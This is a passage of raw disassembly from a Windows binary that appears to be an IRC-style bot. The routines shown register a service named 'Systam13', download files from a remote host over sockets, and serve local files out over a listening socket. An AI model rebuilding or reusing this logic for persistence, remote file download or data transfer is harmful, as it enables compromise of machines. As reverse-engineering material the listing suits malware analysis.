sub_418C10 add esp, 0Ch loc_40BD22: ; CODE XREF: sub_40BC4B+C0j cmp [ebp+var_28], ebx movzx esi, [ebp+var_30] jbe short loc_40BD40 push [ebp+var_28] lea eax, [ebp+var_1C8] push [ebp+var_2C] push eax call sub_418C10 add esp, 0Ch loc_40BD40: ; CODE XREF: sub_40BC4B+DEj cmp [ebp+var_20], ebx jbe short loc_40BD5A push [ebp+var_20] lea eax, [ebp+var_C8] push [ebp+var_24] push eax call sub_418C10 add esp, 0Ch loc_40BD5A: ; CODE XREF: sub_40BC4B+F8j cmp [ebp+var_18], ebx jbe short loc_40BD74 push [ebp+var_18] lea eax, [ebp+var_65C] push [ebp+var_1C] push eax call sub_418C10 add esp, 0Ch loc_40BD74: ; CODE XREF: sub_40BC4B+112j push ebx push ebx lea eax, [ebp+var_C8] push 3 push eax lea eax, [ebp+var_1C8] push eax lea eax, [ebp+var_148] push esi push eax push dword_43AD48 call dword_43AD6C mov esi, eax cmp esi, ebx jz short loc_40BDFD push ebx lea eax, [ebp+var_8] push 200h push eax lea eax, [ebp+var_2D8] push eax lea eax, [ebp+var_65C] push ebx push eax push ebx push esi call dword_43AD60 cmp eax, ebx mov [ebp+var_4], eax jz short loc_40BE04 push ebx push ebx push ebx push ebx push eax call dword_43AD14 test eax, eax jz short loc_40BDDE push offset dword_42DF54 jmp short loc_40BE09 ; --------------------------------------------------------------------------- loc_40BDDE: ; CODE XREF: sub_40BC4B+18Aj push offset unk_42DF08 jmp short loc_40BE09 ; --------------------------------------------------------------------------- loc_40BDE5: ; CODE XREF: sub_40BC4B+B7j lea eax, [ebp+var_55C] push offset dword_42DEDC push eax call sub_4172B0 mov esi, [ebp+var_C] pop ecx pop ecx jmp short loc_40BE17 ; --------------------------------------------------------------------------- loc_40BDFD: ; CODE XREF: sub_40BC4B+153j push offset unk_42DEA0 jmp short loc_40BE09 ; --------------------------------------------------------------------------- loc_40BE04: ; CODE XREF: sub_40BC4B+17Bj push offset unk_42DE60 loc_40BE09: ; CODE XREF: sub_40BC4B+191j ; sub_40BC4B+198j ... lea eax, [ebp+var_55C] push eax call sub_4172B0 pop ecx pop ecx loc_40BE17: ; CODE XREF: sub_40BC4B+1B0j cmp [ebp+var_1D4], ebx jnz short loc_40BE42 push ebx lea eax, [ebp+var_55C] push [ebp+var_1D0] push eax lea eax, [ebp+var_258] push eax push [ebp+var_35C] call sub_40D679 add esp, 14h loc_40BE42: ; CODE XREF: sub_40BC4B+1D2j lea eax, [ebp+var_55C] push eax call sub_40BF6D pop ecx push esi call dword_43ADCC push [ebp+var_4] call dword_43ADCC push [ebp+var_1D8] call sub_417078 pop ecx push ebx nop call near ptr 2610356h pop edi pop esi pop ebx sub_40BC4B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BE75 proc near ; CODE XREF: sub_40EE72+448Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi push edi mov esi, offset dword_43FA70 mov edi, 0B8h loc_40BE89: ; CODE XREF: sub_40BE75+33j cmp byte ptr [esi], 0 jz short loc_40BEAC push [ebp+arg_0] push esi call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_40BEAC inc [ebp+var_4] add esi, edi cmp esi, offset dword_4405F0 jl short loc_40BE89 jmp short loc_40BEEE ; --------------------------------------------------------------------------- loc_40BEAC: ; CODE XREF: sub_40BE75+17j ; sub_40BE75+26j mov esi, [ebp+var_4] push ebx imul esi, 0B8h push edi push 0 lea ebx, dword_43FA70[esi] push ebx call sub_417330 push 17h push [ebp+arg_0] push ebx call sub_418C10 push 9Fh lea eax, dword_43FA88[esi] push [ebp+arg_4] push eax call sub_418C10 add esp, 24h inc dword_42F794 pop ebx loc_40BEEE: ; CODE XREF: sub_40BE75+35j mov eax, [ebp+var_4] pop edi pop esi leave retn sub_40BE75 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BEF5 proc near ; CODE XREF: sub_40EE72+5B58p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset dword_42DF90 push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h xor edi, edi mov esi, offset dword_43FA70 loc_40BF1F: ; CODE XREF: sub_40BEF5+72j cmp byte ptr [esi], 0 jz short loc_40BF5A lea eax, [esi+18h] push eax push esi push edi push offset dword_42DF84 lea eax, [ebp+var_200] push 200h push eax call sub_41782A push 1 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 2Ch loc_40BF5A: ; CODE XREF: sub_40BEF5+2Dj add esi, 0B8h inc edi cmp esi, offset dword_4405F0 jl short loc_40BF1F pop edi pop esi leave retn sub_40BEF5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BF6D proc near ; CODE XREF: sub_401000+9Ap ; sub_4010B5+314p ... var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi lea eax, [ebp+var_10] push edi push eax nop call near ptr 2620444h mov ebx, offset dword_43F164 mov edi, 80h mov esi, offset dword_43B164 loc_40BF8F: ; CODE XREF: sub_40BF6D+3Dj cmp byte ptr [ebx], 0 jz short loc_40BFA6 push 7Fh lea eax, [ebx+80h] push ebx push eax call sub_418C10 add esp, 0Ch loc_40BFA6: ; CODE XREF: sub_40BF6D+25j sub ebx, edi cmp ebx, esi jge short loc_40BF8F movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push edi push esi call sub_41782A add esp, 28h pop edi pop esi pop ebx leave retn sub_40BF6D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BFE1 proc near ; CODE XREF: sub_407BDE+15Bp ; ___:00407F15p ... var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 80h lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_80] push [ebp+arg_0] push 80h push eax call sub_4193FF lea eax, [ebp+var_80] push eax call sub_40BF6D add esp, 14h leave retn sub_40BFE1 endp ; =============== S U B R O U T I N E ======================================= sub_40C00D proc near ; CODE XREF: sub_40EE72+5A4Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, offset dword_43B164 xor ecx, ecx loc_40C014: ; CODE XREF: sub_40C00D+13j mov [eax], cl add eax, 80h cmp eax, offset dword_43F164 jl short loc_40C014 cmp [esp+arg_C], ecx push esi mov esi, offset dword_42DFC4 jnz short loc_40C044 push ecx push [esp+8+arg_8] push esi push [esp+10h+arg_4] push [esp+14h+arg_0] call sub_40D679 add esp, 14h loc_40C044: ; CODE XREF: sub_40C00D+1Fj push esi call sub_40BF6D pop ecx pop esi retn sub_40C00D endp ; =============== S U B R O U T I N E ======================================= sub_40C04D proc near ; CODE XREF: sub_402DD7+2AEp arg_0 = dword ptr 4 push esi mov esi, offset dword_43B164 loc_40C053: ; CODE XREF: sub_40C04D+27j cmp byte ptr [esi], 0 jz short loc_40C068 push [esp+4+arg_0] push esi call sub_40A96F pop ecx test eax, eax pop ecx jnz short loc_40C07A loc_40C068: ; CODE XREF: sub_40C04D+9j add esi, 80h cmp esi, offset dword_43F164 jl short loc_40C053 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_40C07A: ; CODE XREF: sub_40C04D+19j push 1 pop eax pop esi retn sub_40C04D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C07F proc near ; DATA XREF: sub_40EE72+5B02o var_31C = byte ptr -31Ch var_11C = dword ptr -11Ch var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 31Ch mov eax, [ebp+arg_0] push esi push edi push 45h pop ecx mov esi, eax lea edi, [ebp+var_11C] push 1 rep movsd xor edx, edx pop edi cmp [ebp+var_10], edx mov [ebp+var_8], 80h mov [ebp+var_4], edx mov [eax+110h], edi jnz short loc_40C0D2 push edx lea eax, [ebp+var_118] push [ebp+var_14] push offset dword_42E018 push eax push [ebp+var_11C] call sub_40D679 add esp, 14h loc_40C0D2: ; CODE XREF: sub_40C07F+33j cmp [ebp+var_98], 0 jz short loc_40C0F2 lea eax, [ebp+var_98] push eax call sub_41781F test eax, eax pop ecx mov [ebp+var_4], eax jz short loc_40C0F2 mov [ebp+var_8], eax loc_40C0F2: ; CODE XREF: sub_40C07F+5Aj ; sub_40C07F+6Ej and [ebp+arg_0], 0 mov esi, offset dword_43B164 loc_40C0FB: ; CODE XREF: sub_40C07F+D4j mov eax, [ebp+arg_0] cmp eax, [ebp+var_8] jge short loc_40C155 cmp byte ptr [esi], 0 jz short loc_40C144 cmp [ebp+var_98], 0 jz short loc_40C12A cmp [ebp+var_4], 0 jnz short loc_40C12A lea eax, [ebp+var_98] push eax push esi call sub_40A96F pop ecx test eax, eax pop ecx jz short loc_40C144 loc_40C12A: ; CODE XREF: sub_40C07F+90j ; sub_40C07F+96j push edi lea eax, [ebp+var_118] push [ebp+var_14] push esi push eax push [ebp+var_11C] call sub_40D679 add esp, 14h loc_40C144: ; CODE XREF: sub_40C07F+87j ; sub_40C07F+A9j inc [ebp+arg_0] add esi, 80h cmp esi, offset dword_43F164 jl short loc_40C0FB loc_40C155: ; CODE XREF: sub_40C07F+82j lea eax, [ebp+var_31C] push offset dword_42DFEC push eax call sub_4172B0 xor esi, esi pop ecx cmp [ebp+var_10], esi pop ecx jnz short loc_40C18F push esi lea eax, [ebp+var_31C] push [ebp+var_14] push eax lea eax, [ebp+var_118] push eax push [ebp+var_11C] call sub_40D679 add esp, 14h loc_40C18F: ; CODE XREF: sub_40C07F+EEj lea eax, [ebp+var_31C] push eax call sub_40BF6D push [ebp+var_18] call sub_417078 pop ecx pop ecx push esi call near ptr 2610356h nop pop edi pop esi sub_40C07F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C1AE proc near ; CODE XREF: sub_40AC42+1Ep ; ___:0040E9EFp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, offset dword_42E038 xor esi, esi mov ebx, offset aSystam13 ; "Systam13" loc_40C1C1: ; CODE XREF: sub_40C1AE+69j lea eax, [ebp+var_4] push esi push eax push esi push 0F003Fh push esi push esi push esi push dword ptr [edi+4] push dword ptr [edi] call dword_43AD4C cmp [ebp+arg_0], esi jz short loc_40C1FB push [ebp+arg_0] call sub_417AB0 pop ecx push eax push [ebp+arg_0] push 1 push esi push ebx push [ebp+var_4] call dword_43ADBC jmp short loc_40C205 ; --------------------------------------------------------------------------- loc_40C1FB: ; CODE XREF: sub_40C1AE+2Fj push ebx push [ebp+var_4] call dword_43AD04 loc_40C205: ; CODE XREF: sub_40C1AE+4Bj push [ebp+var_4] call dword_43AD74 add edi, 8 cmp edi, offset dword_42E050 jb short loc_40C1C1 pop edi pop esi pop ebx leave retn sub_40C1AE endp ; =============== S U B R O U T I N E ======================================= sub_40C21E proc near ; CODE XREF: sub_40C259+56p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov edx, [esp+arg_0] push esi or esi, 0FFFFFFFFh test eax, eax jz short loc_40C253 push ebx push edi lea edi, [eax] mov ecx, 0FFh loc_40C237: ; CODE XREF: sub_40C21E+31j mov al, [edx] mov ebx, esi and eax, ecx and ebx, ecx xor eax, ebx shr esi, 8 mov eax, dword_424298[eax*4] xor esi, eax inc edx dec edi jnz short loc_40C237 pop edi pop ebx loc_40C253: ; CODE XREF: sub_40C21E+Ej mov eax, esi pop esi not eax retn sub_40C21E endp ; =============== S U B R O U T I N E ======================================= sub_40C259 proc near ; CODE XREF: sub_40CAF1+24Ap var_10 = dword ptr -10h arg_0 = dword ptr 4 push ebx push esi xor ebx, ebx push edi push ebx call sub_417B89 mov [esp+10h+var_10], offset aRb ; "rb" push [esp+10h+arg_0] mov esi, eax call sub_4179A8 mov edi, eax pop ecx test edi, edi pop ecx jz short loc_40C2A8 loc_40C27E: ; CODE XREF: sub_40C259+4Dj test byte ptr [edi+0Ch], 10h jnz short loc_40C2AC inc ebx push ebx push esi call sub_41944F mov esi, eax pop ecx test esi, esi pop ecx jz short loc_40C2A8 push edi push 1 lea eax, [esi+ebx-1] push 1 push eax call sub_418A86 add esp, 10h jmp short loc_40C27E ; --------------------------------------------------------------------------- loc_40C2A8: ; CODE XREF: sub_40C259+23j ; sub_40C259+39j xor eax, eax jmp short loc_40C2C7 ; --------------------------------------------------------------------------- loc_40C2AC: ; CODE XREF: sub_40C259+29j dec ebx push ebx push esi call sub_40C21E push esi mov ebx, eax call sub_417C3B push edi call sub_417900 add esp, 10h mov eax, ebx loc_40C2C7: ; CODE XREF: sub_40C259+51j pop edi pop esi pop ebx retn sub_40C259 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C2CB proc near ; CODE XREF: sub_40C351+33p ; sub_40C8B4+BCp var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_43AE18 mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_40C347 push 10h lea eax, [ebp+var_10] push 0 push eax call sub_417330 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_43AD98 push [ebp+arg_0] mov [ebp+var_E], ax call dword_43ADD8 cmp eax, esi jnz short loc_40C32C push [ebp+arg_0] call dword_43AE1C test eax, eax jz short loc_40C347 mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_40C32C: ; CODE XREF: sub_40C2CB+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_43AD40 cmp eax, esi jnz short loc_40C34B push edi call dword_43AE30 loc_40C347: ; CODE XREF: sub_40C2CB+1Bj ; sub_40C2CB+58j mov eax, esi jmp short loc_40C34D ; --------------------------------------------------------------------------- loc_40C34B: ; CODE XREF: sub_40C2CB+73j mov eax, edi loc_40C34D: ; CODE XREF: sub_40C2CB+7Ej pop edi pop esi leave retn sub_40C2CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C351 proc near ; DATA XREF: sub_40EE72+A88o var_11B4 = byte ptr -11B4h var_1B4 = byte ptr -1B4h var_1AC = byte ptr -1ACh var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 11B4h call sub_417B30 mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1B4] rep movsd push 1 pop esi push [ebp+var_14] mov [eax+1B0h], esi lea eax, [ebp+var_1AC] push eax call sub_40C2CB mov ebx, eax pop ecx cmp ebx, 0FFFFFFFFh pop ecx jnz short loc_40C3E4 lea eax, [ebp+var_11B4] push offset dword_42E0D4 push eax call sub_4172B0 xor edi, edi pop ecx cmp [ebp+var_8], edi pop ecx jnz short loc_40C3C7 push edi lea eax, [ebp+var_11B4] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push ebx call sub_40D679 add esp, 14h loc_40C3C7: ; CODE XREF: sub_40C351+59j lea eax, [ebp+var_11B4] push eax call sub_40BF6D push [ebp+var_10] call sub_417078 pop ecx pop ecx push esi nop call near ptr 2610356h loc_40C3E4: ; CODE XREF: sub_40C351+3Fj push offset byte_436EDC push ebx call sub_40B56C pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_40C44F lea eax, [ebp+var_11B4] push offset dword_42E094 push eax call sub_4172B0 xor edi, edi pop ecx cmp [ebp+var_8], edi pop ecx jnz short loc_40C42B push edi lea eax, [ebp+var_11B4] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push ebx call sub_40D679 add esp, 14h loc_40C42B: ; CODE XREF: sub_40C351+BDj lea eax, [ebp+var_11B4] push eax call sub_40BF6D pop ecx push ebx call dword_43AE30 push [ebp+var_10] call sub_417078 pop ecx push esi nop call near ptr 2610356h loc_40C44F: ; CODE XREF: sub_40C351+A3j push 64h call near ptr 2610F93h nop xor edi, edi mov esi, 1000h loc_40C45E: ; CODE XREF: sub_40C351+168j push esi lea eax, [ebp+var_11B4] push edi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_11B4] push edi push esi push eax push ebx call dword_43ADB0 test eax, eax jle short loc_40C4BB lea eax, [ebp+var_11B4] push offset asc_42A660 ; "\n" push eax call sub_4179D0 lea eax, [ebp+var_11B4] push eax call sub_40B358 add esp, 0Ch test eax, eax jz short loc_40C4BB push 64h nop call near ptr 2610F93h push 7 call sub_416FA4 test eax, eax pop ecx jnz short loc_40C45E loc_40C4BB: ; CODE XREF: sub_40C351+130j ; sub_40C351+154j lea eax, [ebp+var_11B4] push offset dword_42E050 push eax call sub_4172B0 cmp [ebp+var_8], edi pop ecx pop ecx jnz short loc_40C4EE push edi lea eax, [ebp+var_11B4] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push ebx call sub_40D679 add esp, 14h loc_40C4EE: ; CODE XREF: sub_40C351+180j lea eax, [ebp+var_11B4] push eax call sub_40BF6D pop ecx push ebx call dword_43AE30 push [ebp+var_10] call sub_417078 pop ecx push edi nop call near ptr 2610356h sub_40C351 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C512 proc near ; DATA XREF: sub_40EE72+4A7Co var_A04 = byte ptr -0A04h var_604 = byte ptr -604h var_500 = dword ptr -500h var_4FC = dword ptr -4FCh var_3FC = byte ptr -3FCh var_1FC = dword ptr -1FCh var_1F8 = dword ptr -1F8h var_1E0 = byte ptr -1E0h var_DC = byte ptr -0DCh var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_48 = byte ptr -48h var_44 = dword ptr -44h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2E = dword ptr -2Eh var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A04h mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1FC] rep movsd push 1 xor esi, esi pop ebx mov [ebp+var_10], esi push esi push ebx push 2 mov [eax+1B0h], ebx mov [ebp+var_C], esi mov [ebp+var_20], esi call dword_43AE18 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_18], edi jnz short loc_40C560 push offset dword_42E258 jmp loc_40C719 ; --------------------------------------------------------------------------- loc_40C560: ; CODE XREF: sub_40C512+42j push 10h lea eax, [ebp+var_30] push esi push eax call sub_417330 add esp, 0Ch mov [ebp+var_30], 2 push esi call dword_43AD98 mov word ptr [ebp+var_2E], ax lea eax, [ebp+var_30] push 10h push eax push edi mov [ebp+var_2E+2], esi call dword_43ADC4 test eax, eax jz short loc_40C59E push offset dword_42E224 jmp loc_40C719 ; --------------------------------------------------------------------------- loc_40C59E: ; CODE XREF: sub_40C512+80j lea eax, [ebp+var_1C] mov [ebp+var_1C], 10h push eax lea eax, [ebp+var_30] push eax push edi call dword_43AD3C push [ebp+var_2E] call dword_43ACD4 mov [ebp+var_4], eax lea eax, [ebp+var_1E0] push eax mov [ebp+arg_0], esi call sub_417AB0 pop ecx loc_40C5D0: ; CODE XREF: sub_40C512+EFj mov ecx, [ebp+arg_0] mov al, [ebp+ecx+var_1E0] cmp al, 20h jnz short loc_40C5E3 push 5Fh pop eax jmp short loc_40C5E6 ; --------------------------------------------------------------------------- loc_40C5E3: ; CODE XREF: sub_40C512+CAj movsx eax, al loc_40C5E6: ; CODE XREF: sub_40C512+CFj mov [ebp+ecx+var_604], al lea eax, [ebp+var_1E0] inc ecx push eax mov [ebp+arg_0], ecx call sub_417AB0 cmp [ebp+arg_0], eax pop ecx jbe short loc_40C5D0 push ebx push edi call dword_43ADC0 test eax, eax jz short loc_40C619 push offset dword_42E0D4 jmp loc_40C719 ; --------------------------------------------------------------------------- loc_40C619: ; CODE XREF: sub_40C512+FBj push esi push esi push 3 push esi push ebx lea eax, [ebp+var_1E0] push 80000000h push eax nop call near ptr 26507E6h cmp eax, 0FFFFFFFFh mov [ebp+var_8], eax jnz short loc_40C643 push offset dword_42E1F4 jmp loc_40C719 ; --------------------------------------------------------------------------- loc_40C643: ; CODE XREF: sub_40C512+125j push esi push eax nop call near ptr 2690000h mov [ebp+arg_0], eax push eax movzx eax, word ptr [ebp+var_4] push eax push [ebp+var_1FC] call sub_40AEE0 pop ecx push eax call dword_43ADD8 push eax call dword_43AD94 push eax lea eax, [ebp+var_1E0] push eax lea eax, [ebp+var_3FC] push offset dword_42E1DC push eax call sub_4172B0 push esi lea eax, [ebp+var_3FC] push esi push eax lea eax, [ebp+var_DC] push eax push [ebp+var_1FC] call sub_40D679 add esp, 2Ch lea eax, [ebp+var_38] mov [ebp+var_38], 3Ch mov [ebp+var_34], esi push eax push esi lea eax, [ebp+var_500] push esi push eax push esi mov [ebp+var_4FC], edi mov [ebp+var_500], ebx call dword_43AD80 test eax, eax jg short loc_40C6F3 push esi lea eax, [ebp+var_DC] push [ebp+var_54] push offset dword_42E1B4 push eax push [ebp+var_1FC] call sub_40D679 jmp loc_40C817 ; --------------------------------------------------------------------------- loc_40C6F3: ; CODE XREF: sub_40C512+1BFj lea eax, [ebp+var_14] mov [ebp+var_14], 10h push eax lea eax, [ebp+var_48] push eax push edi call dword_43AE2C cmp eax, 0FFFFFFFFh mov [ebp+var_1F8], eax jnz short loc_40C72C push offset dword_42E180 loc_40C719: ; CODE XREF: sub_40C512+49j ; sub_40C512+87j ... lea eax, [ebp+var_3FC] push eax call sub_4172B0 pop ecx pop ecx jmp loc_40C81A ; --------------------------------------------------------------------------- loc_40C72C: ; CODE XREF: sub_40C512+200j push edi call dword_43AE30 cmp [ebp+arg_0], esi jz loc_40C7DE mov edi, 400h loc_40C741: ; CODE XREF: sub_40C512+2C3j mov eax, [ebp+arg_0] mov [ebp+var_4], edi cmp eax, edi jge short loc_40C74E mov [ebp+var_4], eax loc_40C74E: ; CODE XREF: sub_40C512+237j push edi lea eax, [ebp+var_A04] push esi push eax call sub_417330 mov eax, [ebp+arg_0] add esp, 0Ch neg eax push 2 push esi push eax push [ebp+var_8] nop call near ptr 26D0000h lea eax, [ebp+var_20] push esi push eax lea eax, [ebp+var_A04] push [ebp+var_4] push eax push [ebp+var_8] nop call near ptr 263108Bh push esi lea eax, [ebp+var_A04] push [ebp+var_4] push eax push [ebp+var_1F8] call dword_43ADE8 mov [ebp+var_4], eax push esi cdq add [ebp+var_10], eax lea eax, [ebp+var_A04] push edi push eax push [ebp+var_1F8] adc [ebp+var_C], edx call dword_43ADB0 cmp eax, ebx jl loc_40C873 mov eax, [ebp+var_4] cmp eax, ebx jl loc_40C873 sub [ebp+arg_0], eax jnz loc_40C741 mov edi, [ebp+var_18] loc_40C7DE: ; CODE XREF: sub_40C512+224j push [ebp+var_8] call near ptr 2631A0Bh nop push [ebp+var_C] push [ebp+var_10] call sub_40D01A pop ecx pop ecx push eax lea eax, [ebp+var_1E0] push eax push [ebp+var_44] call dword_43AE24 push eax lea eax, [ebp+var_3FC] push offset dword_42E130 push eax call sub_4172B0 loc_40C817: ; CODE XREF: sub_40C512+1DCj add esp, 14h loc_40C81A: ; CODE XREF: sub_40C512+215j cmp [ebp+var_50], esi jnz short loc_40C83F push esi lea eax, [ebp+var_3FC] push [ebp+var_54] push eax lea eax, [ebp+var_DC] push eax push [ebp+var_1FC] call sub_40D679 add esp, 14h loc_40C83F: ; CODE XREF: sub_40C512+30Bj lea eax, [ebp+var_3FC] push eax call sub_40BF6D cmp edi, esi pop ecx jbe short loc_40C857 push edi call dword_43AE30 loc_40C857: ; CODE XREF: sub_40C512+33Cj push [ebp+var_1F8] call dword_43AE30 push [ebp+var_58] call sub_417078 pop ecx push esi nop call near ptr 2610356h loc_40C873: ; CODE XREF: sub_40C512+2AFj ; sub_40C512+2BAj push esi mov esi, offset dword_42E108 push [ebp+var_54] lea eax, [ebp+var_DC] push esi push eax push [ebp+var_1FC] call sub_40D679 push esi call sub_40BF6D add esp, 18h push [ebp+var_1F8] call dword_43AE30 push [ebp+var_58] call sub_417078 pop ecx push ebx nop call near ptr 2610356h sub_40C512 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C8B4 proc near ; DATA XREF: sub_40EE72+7C0o var_14C4 = byte ptr -14C4h var_4C4 = byte ptr -4C4h var_2C4 = byte ptr -2C4h var_1C0 = dword ptr -1C0h var_1B8 = byte ptr -1B8h var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 14C4h call sub_417B30 mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1C0] rep movsd push 1 xor ebx, ebx pop esi mov [ebp+var_8], ebx mov [eax+1B0h], esi lea eax, [ebp+var_2C4] push 104h push eax nop call near ptr 2620000h lea eax, [ebp+var_1A4] push eax lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_2C4] push offset aSS_2 ; "%s%s" push eax call sub_4172B0 add esp, 10h lea eax, [ebp+var_2C4] push ebx push 80h push 2 push ebx push esi push 40000000h push eax nop call near ptr 26507E6h cmp eax, 0FFFFFFFFh jnz short loc_40C93E push offset dword_42E350 jmp short loc_40C984 ; --------------------------------------------------------------------------- loc_40C93E: ; CODE XREF: sub_40C8B4+81j push eax nop call near ptr 2631A0Bh lea eax, [ebp+var_2C4] push offset aAB ; "a+b" push eax call sub_4179A8 pop ecx cmp eax, ebx pop ecx mov [ebp+var_4], eax jnz short loc_40C966 push offset dword_42E310 jmp short loc_40C984 ; --------------------------------------------------------------------------- loc_40C966: ; CODE XREF: sub_40C8B4+A9j push [ebp+var_20] lea eax, [ebp+var_1B8] push eax call sub_40C2CB pop ecx cmp eax, 0FFFFFFFFh pop ecx mov [ebp+arg_0], eax jnz short loc_40C997 push offset dword_42E2E0 loc_40C984: ; CODE XREF: sub_40C8B4+88j ; sub_40C8B4+B0j lea eax, [ebp+var_4C4] push eax call sub_4172B0 pop ecx pop ecx jmp loc_40CA93 ; --------------------------------------------------------------------------- loc_40C997: ; CODE XREF: sub_40C8B4+C9j mov esi, 1000h loc_40C99C: ; CODE XREF: sub_40C8B4+14Ej push esi lea eax, [ebp+var_14C4] push ebx push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_14C4] push ebx push esi push eax push [ebp+arg_0] call dword_43ADB0 mov edi, eax cmp edi, ebx jz loc_40CA63 cmp edi, 0FFFFFFFFh jz short loc_40CA04 push [ebp+var_4] lea eax, [ebp+var_14C4] push edi push 1 push eax call sub_4196EF add [ebp+var_8], edi add esp, 10h push [ebp+var_8] call dword_43AD94 mov [ebp+var_C], eax push ebx lea eax, [ebp+var_C] push 4 push eax push [ebp+arg_0] call dword_43ADE8 jmp short loc_40C99C ; --------------------------------------------------------------------------- loc_40CA04: ; CODE XREF: sub_40C8B4+118j lea eax, [ebp+var_4C4] push offset dword_42E108 push eax call sub_4172B0 push ebx lea eax, [ebp+var_4C4] push [ebp+var_18] push eax lea eax, [ebp+var_A0] push eax push [ebp+var_1C0] call sub_40D679 lea eax, [ebp+var_4C4] push eax call sub_40BF6D push [ebp+var_4] call sub_417900 add esp, 24h push [ebp+arg_0] call dword_43AE30 push [ebp+var_1C] call sub_417078 pop ecx push 1 nop call near ptr 2610356h loc_40CA63: ; CODE XREF: sub_40C8B4+10Fj mov eax, [ebp+var_8] cdq push edx push eax call sub_40D01A pop ecx pop ecx push eax lea eax, [ebp+var_1A4] push eax lea eax, [ebp+var_1B8] push eax lea eax, [ebp+var_4C4] push offset dword_42E28C push eax call sub_4172B0 add esp, 14h loc_40CA93: ; CODE XREF: sub_40C8B4+DEj cmp [ebp+var_14], ebx jnz short loc_40CAB8 push ebx lea eax, [ebp+var_4C4] push [ebp+var_18] push eax lea eax, [ebp+var_A0] push eax push [ebp+var_1C0] call sub_40D679 add esp, 14h loc_40CAB8: ; CODE XREF: sub_40C8B4+1E2j lea eax, [ebp+var_4C4] push eax call sub_40BF6D cmp [ebp+var_4], ebx pop ecx jz short loc_40CAD3 push [ebp+var_4] call sub_417900 pop ecx loc_40CAD3: ; CODE XREF: sub_40C8B4+214j cmp [ebp+arg_0], ebx jbe short loc_40CAE1 push 